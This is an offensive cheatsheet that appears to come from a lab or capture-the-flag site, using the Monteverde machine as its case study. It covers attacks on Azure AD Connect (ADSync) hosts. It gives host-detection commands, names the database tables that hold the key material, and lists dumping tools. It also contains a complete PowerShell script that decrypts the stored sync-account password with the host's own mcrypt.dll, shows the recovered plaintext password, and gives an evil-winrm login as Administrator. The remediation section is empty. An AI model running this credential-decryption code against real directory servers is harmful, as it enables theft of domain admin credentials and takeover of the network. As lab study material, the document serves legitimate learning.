⬅ IndexCheatsheets

Azure AD Connect (ADSync) Attacks — Credential Decryption Cheatsheet

TitleAzure AD Connect (ADSync) Attacks — Credential Decryption Cheatsheet
CategoryCheatsheets
DescriptionAzure AD Connect / ADSync: detectare host, ce furi din baza de sincronizare, adconnectdump.py remote vs decrypt on-box (mcrypt.dll KeyManager), capcane (LocalDB vs instanta locala) — case study Monteverde
Updated2026-09-07

1. Detect an AAD Connect host

# Service
sc.exe qc ADSync
#   SERVICE_START_NAME : MEGABANK\AAD_987d7f2f57d2   <- sync service account

# Install location + DB name
reg query "HKLM\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
#   Server    : MONTEVERDE.MEGABANK.LOCAL
#   DBName    : ADSync
#   SQLInstance : (empty = local instance)

# Files
dir "C:\Program Files\Microsoft Azure AD Sync\Bin"   # miiserver.exe, mcrypt.dll ...

Group hint: users in groups like Azure Admins / ADSyncAdmins are the intended audience of this bug, but the DB is usually readable by any local user.

2. What to steal

Table Column Purpose
mms_server_configuration instance_id, keyset_id, entropy decryption key material
mms_management_agent private_configuration_xml connector config (forest-login-domain, forest-login-user)
mms_management_agent encrypted_configuration base64 <attribute name="password">…</attribute> ciphertext

3. Attack paths

Path Tooling Works as
Remote dump adconnectdump.py 'dom/user:pass@ip' (fox-it/dirkjanm) Admin only — opens SCManager over RPC → rpc_s_access_denied for normal users
On-box decrypt PowerShell + box's own mcrypt.dll any local user
On-box binaries ADSyncGather.exe / ADSyncDecrypt.exe (dirkjanm release) Gather = legacy configs; Decrypt = post-2019 (impersonates NT SERVICE\ADSync)
Offline parse copy ADSync.mdf + ADSyncQuery.exe (needs MSSQL LocalDB locally) needs file access first

On Monteverde the LocalDB .mdf was NOT in Data\ (only mv.dsml) — the DB lives in the SQL instance reachable via Trusted_Connection:

Server=LocalHost;Database=ADSync;Trusted_Connection=True

4. On-box decrypt (PowerShell, no extra binaries)

$conn = New-Object System.Data.SqlClient.SqlConnection(
  "Server=LocalHost;Database=ADSync;Trusted_Connection=True;Connect Timeout=20")
$conn.Open(); $cmd = $conn.CreateCommand()

$cmd.CommandText = "SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;"
$r = $cmd.ExecuteReader(); $r.Read() | Out-Null
$instanceId = $r["instance_id"]; $keyId = $r["keyset_id"]; $entropy = $r["entropy"]
$r.Close()

$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type='AD';"
$r = $cmd.ExecuteReader(); $r.Read() | Out-Null
$configXml = [string]$r["private_configuration_xml"]
$encXml    = [string]$r["encrypted_configuration"]
$r.Close()

$asm = [Reflection.Assembly]::LoadFrom("C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll")
$t   = $asm.GetType("Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager")
$km  = [Activator]::CreateInstance($t)
$km.LoadKeySet([guid]$entropy, [guid]$instanceId, [uint32]$keyId)
$dec = $null; $km.GetActiveCredentialKey([ref]$dec)
$plain = $null; $dec.DecryptBase64ToString($encXml, [ref]$plain)
$plain

Result:

<encrypted-attributes>
 <attribute name="password">d0m@in4dminyeah!</attribute>
</encrypted-attributes>

Read the user from $configXml: //parameter[@name='forest-login-user'] → often Administrator.

evil-winrm -i <ip> -u Administrator -p '<decrypted>'

5. Pitfalls

6. Remediation notes